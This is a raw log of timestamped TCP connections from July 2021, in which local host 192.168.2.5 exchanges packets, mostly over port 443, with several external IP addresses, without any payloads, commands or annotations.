Jul 6, 2021 14:30:55.228401899 CEST	49755	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.234628916 CEST	49755	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.274113894 CEST	443	49756	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.274143934 CEST	443	49756	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.274317026 CEST	49756	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.274471045 CEST	49756	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.275281906 CEST	49756	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.292702913 CEST	443	49756	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.292807102 CEST	49756	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.299005985 CEST	443	49755	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.299043894 CEST	443	49755	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.299083948 CEST	49755	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.299096107 CEST	49755	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.300211906 CEST	49755	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.305044889 CEST	443	49755	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.305130005 CEST	49755	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.348445892 CEST	443	49756	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.376127005 CEST	443	49755	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.400414944 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:55.448183060 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:55.451138020 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:55.451378107 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:55.542449951 CEST	49759	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.543349981 CEST	49760	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.587148905 CEST	443	49759	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.587459087 CEST	49759	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.587774992 CEST	443	49760	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.587924957 CEST	49760	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.588044882 CEST	49759	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.589426041 CEST	49760	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.634480953 CEST	443	49759	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.634504080 CEST	443	49759	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.634516954 CEST	443	49759	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.634536028 CEST	443	49759	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.634543896 CEST	443	49760	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.634905100 CEST	49759	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.635445118 CEST	443	49760	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.635513067 CEST	443	49760	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.635529041 CEST	443	49760	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.635592937 CEST	49760	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.635662079 CEST	49760	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.641963005 CEST	49760	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.641969919 CEST	49759	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.641989946 CEST	49760	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.641993999 CEST	49760	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.642384052 CEST	49759	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.686428070 CEST	443	49760	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.686458111 CEST	443	49760	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.686465979 CEST	443	49759	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.686517954 CEST	443	49759	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.686974049 CEST	443	49759	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.687042952 CEST	443	49760	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.687057018 CEST	443	49759	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.687064886 CEST	443	49759	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.687129974 CEST	49759	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.687197924 CEST	49759	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.687213898 CEST	49760	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.687247992 CEST	443	49760	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.687261105 CEST	443	49760	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.687316895 CEST	49760	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.687381983 CEST	49760	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.687484980 CEST	443	49760	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.687558889 CEST	443	49760	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.687628984 CEST	49760	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.688697100 CEST	49760	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.688879013 CEST	49759	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:55.733050108 CEST	443	49760	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:55.733091116 CEST	443	49759	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:56.466058969 CEST	49760	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:56.512547970 CEST	443	49760	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:56.512581110 CEST	443	49760	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:56.512592077 CEST	443	49760	82.165.229.16	192.168.2.5
Jul 6, 2021 14:30:56.512737989 CEST	49760	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:56.599487066 CEST	49763	443	192.168.2.5	195.20.250.115
Jul 6, 2021 14:30:56.599534035 CEST	49764	443	192.168.2.5	195.20.250.115
Jul 6, 2021 14:30:56.643846035 CEST	443	49763	195.20.250.115	192.168.2.5
Jul 6, 2021 14:30:56.644000053 CEST	49763	443	192.168.2.5	195.20.250.115
Jul 6, 2021 14:30:56.644357920 CEST	443	49764	195.20.250.115	192.168.2.5
Jul 6, 2021 14:30:56.644445896 CEST	49764	443	192.168.2.5	195.20.250.115
Jul 6, 2021 14:30:56.646060944 CEST	49763	443	192.168.2.5	195.20.250.115
Jul 6, 2021 14:30:56.664464951 CEST	49764	443	192.168.2.5	195.20.250.115
Jul 6, 2021 14:30:56.690474033 CEST	443	49763	195.20.250.115	192.168.2.5
Jul 6, 2021 14:30:56.690507889 CEST	443	49763	195.20.250.115	192.168.2.5
Jul 6, 2021 14:30:56.690526009 CEST	443	49763	195.20.250.115	192.168.2.5
Jul 6, 2021 14:30:56.690562963 CEST	49763	443	192.168.2.5	195.20.250.115
Jul 6, 2021 14:30:56.690576077 CEST	49763	443	192.168.2.5	195.20.250.115
Jul 6, 2021 14:30:56.708934069 CEST	443	49764	195.20.250.115	192.168.2.5
Jul 6, 2021 14:30:56.708966017 CEST	443	49764	195.20.250.115	192.168.2.5
Jul 6, 2021 14:30:56.708976030 CEST	443	49764	195.20.250.115	192.168.2.5
Jul 6, 2021 14:30:56.709145069 CEST	49764	443	192.168.2.5	195.20.250.115
Jul 6, 2021 14:30:56.712552071 CEST	49763	443	192.168.2.5	195.20.250.115
Jul 6, 2021 14:30:56.716085911 CEST	49764	443	192.168.2.5	195.20.250.115
Jul 6, 2021 14:30:56.759352922 CEST	443	49763	195.20.250.115	192.168.2.5
Jul 6, 2021 14:30:56.760030985 CEST	443	49763	195.20.250.115	192.168.2.5
Jul 6, 2021 14:30:56.760154009 CEST	49763	443	192.168.2.5	195.20.250.115
Jul 6, 2021 14:30:56.763211012 CEST	443	49764	195.20.250.115	192.168.2.5
Jul 6, 2021 14:30:56.764169931 CEST	443	49764	195.20.250.115	192.168.2.5
Jul 6, 2021 14:30:56.764290094 CEST	49764	443	192.168.2.5	195.20.250.115
Jul 6, 2021 14:30:56.932132959 CEST	49744	80	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:56.932204008 CEST	49745	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:56.932311058 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:56.932380915 CEST	49747	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:56.932632923 CEST	49755	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:56.932801962 CEST	49764	443	192.168.2.5	195.20.250.115
Jul 6, 2021 14:30:56.932826042 CEST	49756	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:56.934323072 CEST	49760	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:30:56.934437990 CEST	49763	443	192.168.2.5	195.20.250.115
Jul 6, 2021 14:30:56.934465885 CEST	49759	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:03.785109997 CEST	49767	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.792690039 CEST	49768	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.793163061 CEST	49765	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.793737888 CEST	49766	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.827389956 CEST	443	49767	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.827548027 CEST	49767	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.835042000 CEST	443	49768	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.835156918 CEST	49768	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.835280895 CEST	443	49765	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.835377932 CEST	49765	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.835803986 CEST	443	49766	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.835911036 CEST	49766	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.839282036 CEST	49767	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.839888096 CEST	49768	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.843616962 CEST	49766	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.843852997 CEST	49765	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.881567955 CEST	443	49767	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.881978035 CEST	443	49768	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.882160902 CEST	443	49767	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.882190943 CEST	443	49767	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.882210016 CEST	443	49767	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.882273912 CEST	49767	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.882317066 CEST	49767	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.882817984 CEST	443	49768	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.882852077 CEST	443	49768	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.882870913 CEST	443	49768	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.882961035 CEST	49768	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.885746956 CEST	443	49766	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.885876894 CEST	443	49765	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.886440992 CEST	443	49766	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.886476994 CEST	443	49766	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.886497974 CEST	443	49766	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.886547089 CEST	49766	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.886588097 CEST	443	49765	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.886617899 CEST	443	49765	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.886636972 CEST	443	49765	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.886674881 CEST	49766	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.886780024 CEST	49765	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.924290895 CEST	49765	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.925550938 CEST	49767	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.928689957 CEST	49766	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.937566996 CEST	49765	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.937710047 CEST	49768	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.937932014 CEST	49766	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.939040899 CEST	49767	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.939248085 CEST	49765	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.939421892 CEST	49767	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.939920902 CEST	49768	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.966530085 CEST	443	49765	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.967087984 CEST	443	49765	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.967179060 CEST	443	49765	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.967195988 CEST	49765	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.967231989 CEST	49765	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.967694044 CEST	443	49767	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.968286991 CEST	443	49767	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.968362093 CEST	443	49767	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.968378067 CEST	49767	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.968404055 CEST	49767	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.968481064 CEST	49765	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.969288111 CEST	49767	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.972028971 CEST	443	49766	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.972716093 CEST	443	49766	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.972744942 CEST	443	49766	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.972815037 CEST	49766	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.972846031 CEST	49766	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.973490000 CEST	49766	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.980123043 CEST	443	49765	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.980153084 CEST	443	49766	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.980160952 CEST	443	49765	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.980175018 CEST	443	49768	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.980264902 CEST	49765	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.982925892 CEST	443	49766	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.982954025 CEST	443	49768	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.982969999 CEST	443	49768	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.982985020 CEST	443	49767	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.982995987 CEST	443	49767	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.983010054 CEST	443	49765	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.983022928 CEST	443	49767	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.983032942 CEST	49766	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.983036041 CEST	443	49765	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.983051062 CEST	443	49765	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.983062983 CEST	443	49768	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.983072042 CEST	443	49768	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.983087063 CEST	443	49767	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.983094931 CEST	443	49767	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:03.983103991 CEST	49767	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.983103991 CEST	49768	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.983140945 CEST	49767	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.983150959 CEST	49765	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.983203888 CEST	49767	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.983205080 CEST	49768	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:03.986215115 CEST	49768	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:04.010788918 CEST	443	49765	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:04.011352062 CEST	443	49767	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:04.015649080 CEST	443	49766	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:04.028506994 CEST	443	49768	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:04.050801992 CEST	49770	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.050806999 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.055423021 CEST	49772	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.055507898 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.095103979 CEST	443	49770	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.095247030 CEST	49770	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.095793962 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.095906973 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.096575975 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.096812963 CEST	49770	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.099673986 CEST	443	49772	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.099800110 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.099838018 CEST	49772	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.099877119 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.100856066 CEST	49772	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.101735115 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.140897989 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.141098022 CEST	443	49770	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.141608953 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.141628027 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.141639948 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.141731977 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.141824007 CEST	443	49770	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.141843081 CEST	443	49770	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.141856909 CEST	443	49770	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.141892910 CEST	49770	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.141926050 CEST	49770	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.145530939 CEST	443	49772	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.146075964 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.148399115 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.148431063 CEST	443	49772	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.148448944 CEST	443	49772	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.148463964 CEST	443	49772	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.148482084 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.148498058 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.148516893 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.148621082 CEST	49772	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.148637056 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.148741007 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.153826952 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.154074907 CEST	49772	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.183856010 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.183888912 CEST	49772	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.183904886 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.183933973 CEST	49770	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.183943987 CEST	49770	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.184283018 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.184417009 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.190285921 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.191015005 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.191169977 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.195410013 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.195712090 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.196026087 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.198224068 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.198256969 CEST	443	49772	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.198816061 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.198884010 CEST	443	49772	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.198899984 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.198914051 CEST	443	49772	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.198915958 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.198945045 CEST	49772	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.198972940 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.200496912 CEST	49772	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.200498104 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.219048977 CEST	49772	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.229692936 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.229717970 CEST	443	49770	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.229728937 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.229746103 CEST	443	49772	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.229762077 CEST	443	49772	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.229779005 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.229789019 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.229798079 CEST	443	49770	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.229815006 CEST	443	49770	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.229826927 CEST	443	49770	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.229898930 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.230003119 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.230005026 CEST	49772	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.231739044 CEST	49770	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.231766939 CEST	49770	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.243319035 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.244959116 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.251708031 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.251848936 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.251853943 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.251872063 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.251887083 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.251908064 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.251934052 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.251940012 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.251957893 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.251974106 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.251995087 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.252010107 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.252028942 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.252048969 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.252069950 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.252091885 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.252113104 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.252134085 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.252149105 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.252166986 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.252206087 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.252278090 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.254354000 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.254394054 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.254422903 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.254445076 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.254467010 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.254484892 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.254508018 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.254508018 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.254523993 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.254544973 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.254565001 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.254585981 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.254604101 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.254626989 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.254653931 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.254693031 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.254715919 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.254719973 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.254740000 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.254755020 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.254797935 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.254844904 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:04.264763117 CEST	443	49772	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:04.277121067 CEST	443	49770	82.165.229.59	192.168.2.5
